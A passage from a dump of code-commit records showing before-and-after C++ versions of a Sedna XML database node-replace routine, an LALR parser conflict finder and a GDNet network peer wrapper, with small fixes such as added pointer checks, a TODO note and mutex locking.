TRIGGER_REPLACE_EVENT);\n#endif\n }\n sit++;\n }\n \/\/2. finding place of insertion\n if (a_m)\n {\n node= getFirstChildNode(indirectionDereferenceCP(par_ind));\n if (node!=XNULL)\n {\n CHECKP(node);\n if (is_node_element(node))\n {\n rightn=node;\n node=XNULL;\n }\n else\n {\n rightn=XNULL;\n }\n }\n }\n else\n {\n if (d_m)\n {\n if (rightn==XNULL)\n node=leftn;\n else\n node=XNULL;\n }\n }\n \/\/3.main insert cycle\n sit = arg2seq.begin() + pos;\n while(*sit != XNULL)\n {\n node_child = *sit;\n if (!is_node_attribute(indirectionDereferenceCP(node_child)))\n {\n parent = indirectionDereferenceCP(par_ind);\n node = deep_copy_node(node, rightn, parent, indirectionDereferenceCP(node_child), is_node_persistent(node_child) ? NULL : &ins_swiz, true);\n#ifdef SE_ENABLE_TRIGGERS\n apply_per_node_triggers(node, tmp_node, indirectionDereferenceCP(par_ind), scm_node, TRIGGER_AFTER, TRIGGER_REPLACE_EVENT);\n#endif\n }\n sit++;\n }\n \/\/post_deletion\n if (!d_m)\n {\n del_node = (*it3).cells[0].get_safenode();\n CHECKP(del_node);\n delete_node(del_node);\n }\nnext_replacement:;\n }\n while (it3!=arg4seq.begin());\n\n if (ins_swiz!=NULL)\n {\n delete ins_swiz;\n }\n#ifdef SE_ENABLE_FTSEARCH\n execute_modifications();\n#endif\n#ifdef SE_ENABLE_TRIGGERS\n apply_per_statement_triggers(NULL, false, NULL, false, TRIGGER_AFTER, TRIGGER_REPLACE_EVENT);\n#endif\n}\n<commit_msg>CHECKP fixed in replace + small refactoring<commit_after>\/*\n * File: other_updates.cpp\n * Copyright (C) 2004 The Institute for System Programming of the Russian Academy of Sciences (ISP RAS)\n *\/\n\n#include \"common\/sedna.h\"\n\n#include \"tr\/updates\/updates.h\"\n#include \"tr\/executor\/base\/xptr_sequence.h\"\n#include \"tr\/mo\/mo.h\"\n#include \"tr\/auth\/auc.h\"\n#include \"tr\/locks\/locks.h\"\n\n#ifdef SE_ENABLE_TRIGGERS\n#include \"tr\/triggers\/triggers.h\"\n#endif\n\n#include \"tr\/structures\/nodeutils.h\"\n#include \"tr\/structures\/textcptr.h\"\n\nvoid replace(PPOpIn arg)\n{\n xptr node, tmp_node, attr_node;\n schema_node_xptr scm_node;\n tuple t(arg.ts);\n\n xptr_sequence arg1seq; \/\/ Indirection of nodes which are going to be replaced\n xptr_sequence arg1seq_tmp; \/\/ Nodes which are going to be replaced\n xptr_sequence arg2seq; \/\/ Nodes to replace with (both persistent and temp)\n\n \/* Persistent nodes to replace with (+ theirs position in arg2seq) *\/\n descript_sequence arg3seq(2);\n\n upd_ns_map* ins_swiz = NULL;\n bool is_node_updated = true;\n\n \/*\n * Fill up sequences with nodes to update and update with,\n * child (arg) returns the following sequence of items:\n * 1. node to be replaced (1)\n * 2. nodes to replace with (2)\n * 3. special tuple which contains separator value (3)\n *\/\n arg.op->next(t);\n\n while (!t.is_eos())\n {\n if (t.cells[0].is_node())\n {\n node = t.cells[0].get_node();\n CHECKP(node);\n \/*\n * In (1) case node must be persistent (is_node_updated is true)\n * In (2) case it can be temporary\n * In both cases document nodes are not allowed\n *\/\n if ((!is_node_updated || is_node_persistent(node)) && !is_node_document(node))\n {\n xptr indir = nodeGetIndirection(node);\n\n if (is_node_updated)\n {\n \/* Case (1) - fill up sequence with nodes to be replaced *\/\n is_node_updated=false;\n \/* Next nodes from arg are case (2) nodes, so we can use shared lock *\/\n local_lock_mrg->lock(lm_s);\n arg1seq.add(indir);\n arg1seq_tmp.add(node);\n }\n else\n {\n \/* Case (2) - fill up sequence with nodes to replace with *\/\n if (is_node_persistent(node))\n {\n tuple tup(2);\n tup.copy(tuple_cell::node(node),tuple_cell((int64_t)(arg2seq.size())));\n arg3seq.add(tup);\n }\n arg2seq.add(indir);\n }\n }\n#ifndef IGNORE_UPDATE_ERRORS\n else\n {\n throw USER_EXCEPTION(SE2020);\n }\n#endif\n }\n else\n {\n \/* Must be separator in this case (3) *\/\n if (t.cells[0].get_atomic_type() == se_separator)\n {\n arg2seq.add(XNULL);\n is_node_updated=true;\n \/* Next nodes from arg are case (1) node, so we can use shared lock *\/\n local_lock_mrg->lock(lm_x);\n }\n#ifndef IGNORE_UPDATE_ERRORS\n else throw USER_EXCEPTION(SE2021);\n#endif\n }\n\n arg.op->next(t);\n }\n\n \/* Nothing to do in this case *\/\n if (arg1seq.size()<=0) return;\n\n \/* Checking authorization *\/\n if (is_auth_check_needed(REPLACE_STATEMENT))\n auth_for_update(&arg1seq, REPLACE_STATEMENT, false);\n\n \/* Find all common nodes in agr3seq (nodes to replace with) and\n * arg1seq_tmp (nodes to be replaced). Make a copy of all such nodes. *\/\n arg1seq_tmp.sort();\n arg3seq.sort();\n descript_sequence::iterator it3 = arg3seq.begin();\n xptr_sequence::iterator it1 = arg1seq_tmp.begin();\n\n while(it3 != arg3seq.end() && it1 != arg1seq_tmp.end())\n {\n switch(nid_cmp_effective((*it3).cells[0].get_node(), *it1))\n {\n case 0: case -2:\n {\n node = copy_to_temp((*it3).cells[0].get_node());\n xptr indir=nodeGetIndirection(node);\n arg2seq.set(indir,(*it3).cells[1].get_xs_integer());\n ++it3;\n }\n break;\n case 1:\n ++it1;\n break;\n case 2:\n ++it1;\n break;\n case -1:\n ++it3;\n break;\n }\n }\n#ifdef SE_ENABLE_TRIGGERS\n apply_per_statement_triggers(&arg1seq, false, NULL, false, TRIGGER_BEFORE, TRIGGER_REPLACE_EVENT);\n#endif\n\n arg3seq.clear();\n xptr_sequence::iterator it = arg1seq.begin();\n xptr_sequence::iterator sit = arg2seq.begin();\n int ctr=0;\n do\n {\n tuple tup(2);\n \/* arg3seq will contain pairs: node -> int, namely\n * node to be replaced -> place in sequence of nodes to replace with *\/\n tup.copy(tuple_cell::node(indirectionDereferenceCP(*it)),tuple_cell((int64_t)ctr));\n arg3seq.add(tup);\n \/* XNULL separates nodes in arg2seq (nodes replace with) per each\n * node in arg1seq (nodes to be replaced) *\/\n while(*sit!=XNULL)\n {\n sit++;\n ctr++;\n }\n sit++;\n ctr++;\n it++;\n } while (it != arg1seq.end());\n\n arg3seq.sort();\n it3=arg3seq.begin();\n descript_sequence arg4seq(2);\n do\n {\n node = (*it3).cells[0].get_node();\n tuple t = (*it3);\n t.cells[0].set_safenode(node);\n ++it3;\n arg4seq.add(t);\n\n } while (it3!=arg3seq.end());\n\n \/* Deleting, inserting new nodes *\/\n it3 = arg4seq.end();\n do\n {\n --it3;\n node = (*it3).cells[0].get_safenode();\n int pos = (*it3).cells[1].get_xs_integer();\n sit = arg2seq.begin() + pos;\n CHECKP(node);\n xptr leftn = nodeGetLeftSibling(node);\n xptr rightn = nodeGetRightSibling(node);\n xptr par_ind = nodeGetParentIndirection(node);\n bool a_m = is_node_attribute(node);\n bool d_m = a_m || is_node_text(node);\n\n#ifdef SE_ENABLE_TRIGGERS\n scm_node = getSchemaPointer(node);\n tmp_node = prepare_old_node(node, scm_node, TRIGGER_REPLACE_EVENT);\n\n \/* Before-for-each-node triggers (cycle for all inserted nodes) *\/\n xptr_sequence::iterator tr_it = sit;\n while(*tr_it != XNULL)\n {\n if(apply_per_node_triggers(indirectionDereferenceCP(*tr_it),\n node,\n indirectionDereferenceCP(par_ind),\n scm_node,\n TRIGGER_BEFORE,\n TRIGGER_REPLACE_EVENT) == XNULL)\n {\n goto next_replacement;\n }\n tr_it++;\n }\n#endif \/* SE_ENABLE_TRIGGERS *\/\n\n \/\/pre_deletion\n if (d_m)\n {\n delete_node(node);\n }\n \/\/1.inserting attributes from sequence\n while(*sit != XNULL)\n {\n xptr node_child = indirectionDereferenceCP(*sit);\n if (is_node_attribute(node_child))\n {\n attr_node = deep_copy_node(XNULL, XNULL, indirectionDereferenceCP(par_ind), node_child, is_node_persistent(node_child) ? NULL : &ins_swiz, true);\n#ifdef SE_ENABLE_TRIGGERS\n apply_per_node_triggers(attr_node, tmp_node, indirectionDereferenceCP(par_ind), scm_node, TRIGGER_AFTER, TRIGGER_REPLACE_EVENT);\n#endif\n }\n sit++;\n }\n \/\/2. finding place of insertion\n if (a_m)\n {\n node = getFirstChildNode(indirectionDereferenceCP(par_ind));\n if (node != XNULL)\n {\n CHECKP(node);\n if (is_node_element(node))\n {\n rightn=node;\n node=XNULL;\n }\n else\n {\n rightn=XNULL;\n }\n }\n }\n else\n {\n if (d_m)\n {\n if (rightn==XNULL)\n node=leftn;\n else\n node=XNULL;\n }\n }\n \/\/3.main insert cycle\n sit = arg2seq.begin() + pos;\n while(*sit != XNULL)\n {\n xptr node_child = indirectionDereferenceCP(*sit);\n CHECKP(node_child);\n if (!is_node_attribute(node_child))\n {\n node = deep_copy_node(node, rightn, indirectionDereferenceCP(par_ind), node_child, is_node_persistent(node_child) ? NULL : &ins_swiz, true);\n#ifdef SE_ENABLE_TRIGGERS\n apply_per_node_triggers(node, tmp_node, indirectionDereferenceCP(par_ind), scm_node, TRIGGER_AFTER, TRIGGER_REPLACE_EVENT);\n#endif\n }\n sit++;\n }\n \/\/post_deletion\n if (!d_m)\n {\n xptr del_node = (*it3).cells[0].get_safenode();\n delete_node(del_node);\n }\nnext_replacement:;\n }\n while (it3 != arg4seq.begin());\n\n if (ins_swiz != NULL)\n {\n delete ins_swiz;\n }\n#ifdef SE_ENABLE_FTSEARCH\n execute_modifications();\n#endif\n#ifdef SE_ENABLE_TRIGGERS\n apply_per_statement_triggers(NULL, false, NULL, false, TRIGGER_AFTER, TRIGGER_REPLACE_EVENT);\n#endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ conflict.cpp\n\/\/ Parse\n\/\/\n\/\/ Created by Andrew Hunter on 04\/06\/2011.\n\/\/ Copyright 2011 __MyCompanyName__. All rights reserved.\n\/\/\n\n#include \"conflict.h\"\n\nusing namespace std;\nusing namespace contextfree;\nusing namespace lr;\n\n\/\/\/ \\brief Creates a new conflict object (describing a non-conflict)\nconflict::conflict(int stateId, const item_container& token)\n: m_StateId(stateId)\n, m_Token(token) {\n}\n\n\/\/\/ \\brief Copy constructor\nconflict::conflict(const conflict& copyFrom)\n: m_StateId(copyFrom.m_StateId)\n, m_Token(copyFrom.m_Token)\n, m_Shift(copyFrom.m_Shift)\n, m_Reduce(copyFrom.m_Reduce) {\n}\n\n\/\/\/ \\brief Destroys this conflict object\nconflict::~conflict() { }\n\n\/\/\/ \\brief Clones this conflict\nconflict* conflict::clone() const {\n return new conflict(*this);\n}\n\n\/\/\/ \\brief Returns true if conflict a is less than conflict b\nbool conflict::compare(const conflict* a, const conflict* b) {\n if (a == b) return false;\n if (!a) return true;\n if (!b) return false;\n \n return (*a) < (*b);\n}\n\n\/\/\/ \\brief Orders this conflict relative to another\nbool conflict::operator<(const conflict& compareTo) const {\n if (m_StateId < compareTo.m_StateId) return true;\n if (m_StateId > compareTo.m_StateId) return false;\n \n if (m_Token < compareTo.m_Token) return true;\n if (m_Token > compareTo.m_Token) return false;\n \n if (m_Shift < compareTo.m_Shift) return true;\n if (m_Shift > compareTo.m_Shift) return false;\n \n if (m_Reduce < compareTo.m_Reduce) return true;\n \n return false;\n}\n\n\/\/\/ \\brief Adds an LR(0) item that will be followed if the token is shifted\nvoid conflict::add_shift_item(const lr0_item_container& item) {\n m_Shift.insert(item);\n}\n\n\/\/\/ \\brief Adds an LR(0) item that will be reduced if the token is in the lookahead\n\/\/\/\n\/\/\/ This returns an item that the caller can add the set of reduce states for this item\nconflict::possible_reduce_states& conflict::add_reduce_item(const lr0_item_container& item) {\n return m_Reduce[item];\n}\n\n\/\/\/ \\brief Adds the conflicts found in a single state of the specified LALR builder to the given target list\nstatic void find_conflicts(const lalr_builder& builder, int stateId, conflict_list& target) {\n \/\/ Get the actions in this state\n const lr_action_set& actions = builder.actions_for_state(stateId);\n \n \/\/ Run through these actions, and find places where there are conflicts (two actions for a single symbol)\n typedef map<item_container, lr_action_set> items_to_actions;\n items_to_actions actionsForItem;\n \n for (lr_action_set::const_iterator nextAction = actions.begin(); nextAction != actions.end(); nextAction++) {\n \/\/ Ignore actions that don't cause conflicts\n bool ignore;\n switch ((*nextAction)->type()) {\n case lr_action::act_goto:\n case lr_action::act_ignore:\n case lr_action::act_accept:\n ignore = true;\n break;\n \n default:\n ignore = false;\n break;\n }\n if (ignore) continue;\n \n \/\/ Add this as an action for this item\n actionsForItem[(*nextAction)->item()].insert(*nextAction);\n }\n \n \/\/ Generate conflicts for any item with multiple actions\n for (items_to_actions::iterator nextItem = actionsForItem.begin(); nextItem != actionsForItem.end(); nextItem++) {\n \/\/ Ignore items with just one action (or no actions, if that's ever possible)\n if (nextItem->second.size() < 2) continue;\n \n \/\/ Ignore items if all but one of the items are 'weak'\n int numWeak = 0;\n for (lr_action_set::const_iterator nextAction = nextItem->second.begin(); nextAction != nextItem->second.end(); nextAction++) {\n switch ((*nextAction)->type()) {\n case lr_action::act_weakreduce:\n case lr_action::act_ignore:\n numWeak++;\n break;\n \n default:\n break;\n }\n }\n \n if (nextItem->second.size() - numWeak < 2) continue;\n \n \/\/ Create a new conflict for this action\n const item_container& conflictToken = *nextItem->first;\n conflict_container newConf(new conflict(stateId, conflictToken), true);\n \n \/\/ Fetch the items in this state\n const lalr_state& thisState = *builder.machine().state_with_id(stateId);\n \n \/\/ Get the closure of this state\n lr1_item_set closure;\n builder.generate_closure(thisState, closure);\n \n \/\/ Describe the actions resulting in this conflict by going through the items in the closure of the state\n const grammar* gram = &builder.gram();\n \n \/\/ Iterate through the closure to get the items that can be shifted as part of this conflict\n for (lr1_item_set::const_iterator nextItem = closure.begin(); nextItem != closure.end(); nextItem++) {\n if (!(*nextItem)->at_end()) {\n \/\/ This item will result in a shift: add it to the list if it can shift our item\n const item_set& firstItems = gram->first((*nextItem)->rule()->items()[(*nextItem)->offset()]);\n \n if (firstItems.find(conflictToken) != firstItems.end()) {\n \/\/ This item can result in a shift of the specified token\n newConf->add_shift_item(**nextItem);\n }\n }\n }\n \n \/\/ Iterate through the closure to find the items that can be reduced as part of this conflict\n for (lr1_item_set::const_iterator nextItem = closure.begin(); nextItem != closure.end(); nextItem++) {\n if ((*nextItem)->at_end()) {\n \/\/ This item will result in a reduction, depending on its lookahead\n const lr1_item::lookahead_set& la = (*nextItem)->lookahead();\n\n if (la.find(conflictToken) != la.end()) {\n \/\/ The conflicted token is in the lookahead: add this to the conflict list\n conflict::possible_reduce_states& reduceTo = newConf->add_reduce_item(**nextItem);\n \n \/\/ TODO: fill in the set of items that this can reduce to\n }\n }\n }\n \n \/\/ Add the new conflict to the list\n target.push_back(newConf);\n }\n}\n\n\/\/\/ \\brief Adds the conflicts found in the specified LALR builder object to the passed in list\nvoid conflict::find_conflicts(const lalr_builder& builder, conflict_list& target) {\n \/\/ Iterate through the states in the builder\n for (int stateId=0; stateId < builder.count_states(); stateId++) {\n ::find_conflicts(builder, stateId, target);\n }\n}\n\n<commit_msg>Added a TODO note about some stuff that can go wrong<commit_after>\/\/\n\/\/ conflict.cpp\n\/\/ Parse\n\/\/\n\/\/ Created by Andrew Hunter on 04\/06\/2011.\n\/\/ Copyright 2011 __MyCompanyName__. All rights reserved.\n\/\/\n\n#include \"conflict.h\"\n\nusing namespace std;\nusing namespace contextfree;\nusing namespace lr;\n\n\/\/\/ \\brief Creates a new conflict object (describing a non-conflict)\nconflict::conflict(int stateId, const item_container& token)\n: m_StateId(stateId)\n, m_Token(token) {\n}\n\n\/\/\/ \\brief Copy constructor\nconflict::conflict(const conflict& copyFrom)\n: m_StateId(copyFrom.m_StateId)\n, m_Token(copyFrom.m_Token)\n, m_Shift(copyFrom.m_Shift)\n, m_Reduce(copyFrom.m_Reduce) {\n}\n\n\/\/\/ \\brief Destroys this conflict object\nconflict::~conflict() { }\n\n\/\/\/ \\brief Clones this conflict\nconflict* conflict::clone() const {\n return new conflict(*this);\n}\n\n\/\/\/ \\brief Returns true if conflict a is less than conflict b\nbool conflict::compare(const conflict* a, const conflict* b) {\n if (a == b) return false;\n if (!a) return true;\n if (!b) return false;\n \n return (*a) < (*b);\n}\n\n\/\/\/ \\brief Orders this conflict relative to another\nbool conflict::operator<(const conflict& compareTo) const {\n if (m_StateId < compareTo.m_StateId) return true;\n if (m_StateId > compareTo.m_StateId) return false;\n \n if (m_Token < compareTo.m_Token) return true;\n if (m_Token > compareTo.m_Token) return false;\n \n if (m_Shift < compareTo.m_Shift) return true;\n if (m_Shift > compareTo.m_Shift) return false;\n \n if (m_Reduce < compareTo.m_Reduce) return true;\n \n return false;\n}\n\n\/\/\/ \\brief Adds an LR(0) item that will be followed if the token is shifted\nvoid conflict::add_shift_item(const lr0_item_container& item) {\n m_Shift.insert(item);\n}\n\n\/\/\/ \\brief Adds an LR(0) item that will be reduced if the token is in the lookahead\n\/\/\/\n\/\/\/ This returns an item that the caller can add the set of reduce states for this item\nconflict::possible_reduce_states& conflict::add_reduce_item(const lr0_item_container& item) {\n return m_Reduce[item];\n}\n\n\/\/\/ \\brief Adds the conflicts found in a single state of the specified LALR builder to the given target list\nstatic void find_conflicts(const lalr_builder& builder, int stateId, conflict_list& target) {\n \/\/ Get the actions in this state\n const lr_action_set& actions = builder.actions_for_state(stateId);\n \n \/\/ Run through these actions, and find places where there are conflicts (two actions for a single symbol)\n typedef map<item_container, lr_action_set> items_to_actions;\n items_to_actions actionsForItem;\n \n for (lr_action_set::const_iterator nextAction = actions.begin(); nextAction != actions.end(); nextAction++) {\n \/\/ Ignore actions that don't cause conflicts\n bool ignore;\n switch ((*nextAction)->type()) {\n case lr_action::act_goto:\n case lr_action::act_ignore:\n case lr_action::act_accept:\n ignore = true;\n break;\n \n default:\n ignore = false;\n break;\n }\n if (ignore) continue;\n \n \/\/ Add this as an action for this item\n actionsForItem[(*nextAction)->item()].insert(*nextAction);\n }\n \n \/\/ Generate conflicts for any item with multiple actions\n for (items_to_actions::iterator nextItem = actionsForItem.begin(); nextItem != actionsForItem.end(); nextItem++) {\n \/\/ Ignore items with just one action (or no actions, if that's ever possible)\n if (nextItem->second.size() < 2) continue;\n \n \/\/ Ignore items if all but one of the items are 'weak'\n int numWeak = 0;\n for (lr_action_set::const_iterator nextAction = nextItem->second.begin(); nextAction != nextItem->second.end(); nextAction++) {\n switch ((*nextAction)->type()) {\n case lr_action::act_weakreduce:\n case lr_action::act_ignore:\n numWeak++;\n break;\n \n default:\n break;\n }\n }\n \n if (nextItem->second.size() - numWeak < 2) continue;\n \n \/\/ Create a new conflict for this action\n const item_container& conflictToken = *nextItem->first;\n conflict_container newConf(new conflict(stateId, conflictToken), true);\n \n \/\/ Fetch the items in this state\n const lalr_state& thisState = *builder.machine().state_with_id(stateId);\n \n \/\/ Get the closure of this state\n lr1_item_set closure;\n builder.generate_closure(thisState, closure);\n \n \/\/ Describe the actions resulting in this conflict by going through the items in the closure of the state\n const grammar* gram = &builder.gram();\n \n \/\/ Iterate through the closure to get the items that can be shifted as part of this conflict\n for (lr1_item_set::const_iterator nextItem = closure.begin(); nextItem != closure.end(); nextItem++) {\n if (!(*nextItem)->at_end()) {\n \/\/ This item will result in a shift: add it to the list if it can shift our item\n const item_set& firstItems = gram->first((*nextItem)->rule()->items()[(*nextItem)->offset()]);\n \n if (firstItems.find(conflictToken) != firstItems.end()) {\n \/\/ This item can result in a shift of the specified token\n newConf->add_shift_item(**nextItem);\n }\n }\n }\n \n \/\/ Iterate through the closure to find the items that can be reduced as part of this conflict\n for (lr1_item_set::const_iterator nextItem = closure.begin(); nextItem != closure.end(); nextItem++) {\n if ((*nextItem)->at_end()) {\n \/\/ This item will result in a reduction, depending on its lookahead\n const lr1_item::lookahead_set& la = (*nextItem)->lookahead();\n\n if (la.find(conflictToken) != la.end()) {\n \/\/ The conflicted token is in the lookahead: add this to the conflict list\n conflict::possible_reduce_states& reduceTo = newConf->add_reduce_item(**nextItem);\n \n \/\/ TODO: fill in the set of items that this can reduce to\n \/\/ TODO: if the reduction is not in a kernel item (which probably means that we've got an empty production), then we need to be able to trace these as well.\n }\n }\n }\n \n \/\/ Add the new conflict to the list\n target.push_back(newConf);\n }\n}\n\n\/\/\/ \\brief Adds the conflicts found in the specified LALR builder object to the passed in list\nvoid conflict::find_conflicts(const lalr_builder& builder, conflict_list& target) {\n \/\/ Iterate through the states in the builder\n for (int stateId=0; stateId < builder.count_states(); stateId++) {\n ::find_conflicts(builder, stateId, target);\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* gdnet_peer.cpp *\/\n\n#include \"gdnet_peer.h\"\n\nGDNetPeer::GDNetPeer(GDNetHost* host, ENetPeer* peer) : _host(host), _peer(peer) {\n\t_host->reference();\n}\n\nGDNetPeer::~GDNetPeer() {\n\t_host->unreference();\n}\n\nint GDNetPeer::get_peer_id() {\n\tERR_FAIL_COND_V(_host->_host == NULL, -1);\n\treturn (int)(_peer - _host->_host->peers);\n}\n\nRef<GDNetAddress> GDNetPeer::get_address() {\n\tRef<GDNetAddress> address = memnew(GDNetAddress);\n\taddress->set_port(_peer->address.port);\n\t\n\tchar ip[64];\n\tenet_address_get_host_ip(&_peer->address, ip, 64);\n\taddress->set_host(ip);\n\t\n\treturn address;\n}\n\nint GDNetPeer::get_avg_rtt() {\n\tERR_FAIL_COND_V(_host->_host == NULL, -1);\n\treturn _peer->roundTripTime;\n}\n\nvoid GDNetPeer::ping() {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_ping(_peer);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\t\n}\n\nvoid GDNetPeer::reset() {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_reset(_peer);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid GDNetPeer::disconnect(int data) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_disconnect(_peer, data);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\t\n}\n\nvoid GDNetPeer::disconnect_later(int data) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_disconnect_later(_peer, data);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid GDNetPeer::disconnect_now(int data) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_disconnect_now(_peer, data);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\t\n}\n\nvoid GDNetPeer::send_packet(const ByteArray& packet, int channel_id, int type) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\tGDNetMessage* message = memnew(GDNetMessage((GDNetMessage::Type)type));\n\tmessage->set_peer_id(get_peer_id());\n\tmessage->set_channel_id(channel_id);\n\tmessage->set_packet(packet);\n\t_host->_message_queue.push(message);\n}\n\nvoid GDNetPeer::send_var(const Variant& var, int channel_id, int type) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\tint len;\n\t\n\tError err = encode_variant(var, NULL, len);\n\t\n\tERR_FAIL_COND(err != OK || len == 0);\n\t\n\tGDNetMessage* message = memnew(GDNetMessage((GDNetMessage::Type)type));\n\tmessage->set_peer_id(get_peer_id());\n\tmessage->set_channel_id(channel_id);\n\t\n\tByteArray packet;\n\tpacket.resize(len);\n\t\n\tByteArray::Write w = packet.write();\n\terr = encode_variant(var, w.ptr(), len);\n\t\n\tERR_FAIL_COND(err != OK);\n\t\n\tmessage->set_packet(packet);\n\t\n\t_host->_message_queue.push(message);\n}\n\nvoid GDNetPeer::set_timeout(int limit, int min_timeout, int max_timeout) {\n\tenet_peer_timeout(_peer, limit, min_timeout, max_timeout);\n}\n\nvoid GDNetPeer::_bind_methods() {\n\tObjectTypeDB::bind_method(\"get_peer_id\", &GDNetPeer::get_peer_id);\n\tObjectTypeDB::bind_method(\"get_address\", &GDNetPeer::get_address);\n\tObjectTypeDB::bind_method(\"get_avg_rtt\", &GDNetPeer::get_avg_rtt);\n\tObjectTypeDB::bind_method(\"ping\", &GDNetPeer::ping);\n\tObjectTypeDB::bind_method(\"reset\", &GDNetPeer::reset);\n\tObjectTypeDB::bind_method(\"disconnect\", &GDNetPeer::disconnect,DEFVAL(0));\n\tObjectTypeDB::bind_method(\"disconnect_later\", &GDNetPeer::disconnect_later,DEFVAL(0));\n\tObjectTypeDB::bind_method(\"disconnect_now\", &GDNetPeer::disconnect_now,DEFVAL(0));\n\tObjectTypeDB::bind_method(\"send_packet\", &GDNetPeer::send_packet,DEFVAL(0),DEFVAL(GDNetMessage::UNSEQUENCED));\n\tObjectTypeDB::bind_method(\"send_var\", &GDNetPeer::send_var,DEFVAL(0),DEFVAL(GDNetMessage::UNSEQUENCED));\n\tObjectTypeDB::bind_method(\"set_timeout\", &GDNetPeer::set_timeout);\n}\n<commit_msg>Added locking for set_timeout<commit_after>\/* gdnet_peer.cpp *\/\n\n#include \"gdnet_peer.h\"\n\nGDNetPeer::GDNetPeer(GDNetHost* host, ENetPeer* peer) : _host(host), _peer(peer) {\n\t_host->reference();\n}\n\nGDNetPeer::~GDNetPeer() {\n\t_host->unreference();\n}\n\nint GDNetPeer::get_peer_id() {\n\tERR_FAIL_COND_V(_host->_host == NULL, -1);\n\treturn (int)(_peer - _host->_host->peers);\n}\n\nRef<GDNetAddress> GDNetPeer::get_address() {\n\tRef<GDNetAddress> address = memnew(GDNetAddress);\n\taddress->set_port(_peer->address.port);\n\t\n\tchar ip[64];\n\tenet_address_get_host_ip(&_peer->address, ip, 64);\n\taddress->set_host(ip);\n\t\n\treturn address;\n}\n\nint GDNetPeer::get_avg_rtt() {\n\tERR_FAIL_COND_V(_host->_host == NULL, -1);\n\treturn _peer->roundTripTime;\n}\n\nvoid GDNetPeer::ping() {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_ping(_peer);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\t\n}\n\nvoid GDNetPeer::reset() {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_reset(_peer);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid GDNetPeer::disconnect(int data) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_disconnect(_peer, data);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\t\n}\n\nvoid GDNetPeer::disconnect_later(int data) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_disconnect_later(_peer, data);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid GDNetPeer::disconnect_now(int data) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_disconnect_now(_peer, data);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\t\n}\n\nvoid GDNetPeer::send_packet(const ByteArray& packet, int channel_id, int type) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\tGDNetMessage* message = memnew(GDNetMessage((GDNetMessage::Type)type));\n\tmessage->set_peer_id(get_peer_id());\n\tmessage->set_channel_id(channel_id);\n\tmessage->set_packet(packet);\n\t_host->_message_queue.push(message);\n}\n\nvoid GDNetPeer::send_var(const Variant& var, int channel_id, int type) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\tint len;\n\t\n\tError err = encode_variant(var, NULL, len);\n\t\n\tERR_FAIL_COND(err != OK || len == 0);\n\t\n\tGDNetMessage* message = memnew(GDNetMessage((GDNetMessage::Type)type));\n\tmessage->set_peer_id(get_peer_id());\n\tmessage->set_channel_id(channel_id);\n\t\n\tByteArray packet;\n\tpacket.resize(len);\n\t\n\tByteArray::Write w = packet.write();\n\terr = encode_variant(var, w.ptr(), len);\n\t\n\tERR_FAIL_COND(err != OK);\n\t\n\tmessage->set_packet(packet);\n\t\n\t_host->_message_queue.push(message);\n}\n\nvoid GDNetPeer::set_timeout(int limit, int min_timeout, int max_timeout) {\n\tERR_FAIL_COND(_host->_host == NULL);\n\t\n\twhile (true) {\n\t\tif (_host->_mutex->try_lock() == 0) {\n\t\t\tenet_peer_timeout(_peer, limit, min_timeout, max_timeout);\n\t\t\t_host->_mutex->unlock();\n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nvoid GDNetPeer::_bind_methods() {\n\tObjectTypeDB::bind_method(\"get_peer_id\", &GDNetPeer::get_peer_id);\n\tObjectTypeDB::bind_method(\"get_address\", &GDNetPeer::get_address);\n\tObjectTypeDB::bind_method(\"get_avg_rtt\", &GDNetPeer::get_avg_rtt);\n\tObjectTypeDB::bind_method(\"ping\", &GDNetPeer::ping);\n\tObjectTypeDB::bind_method(\"reset\", &GDNetPeer::reset);\n\tObjectTypeDB::bind_method(\"disconnect\", 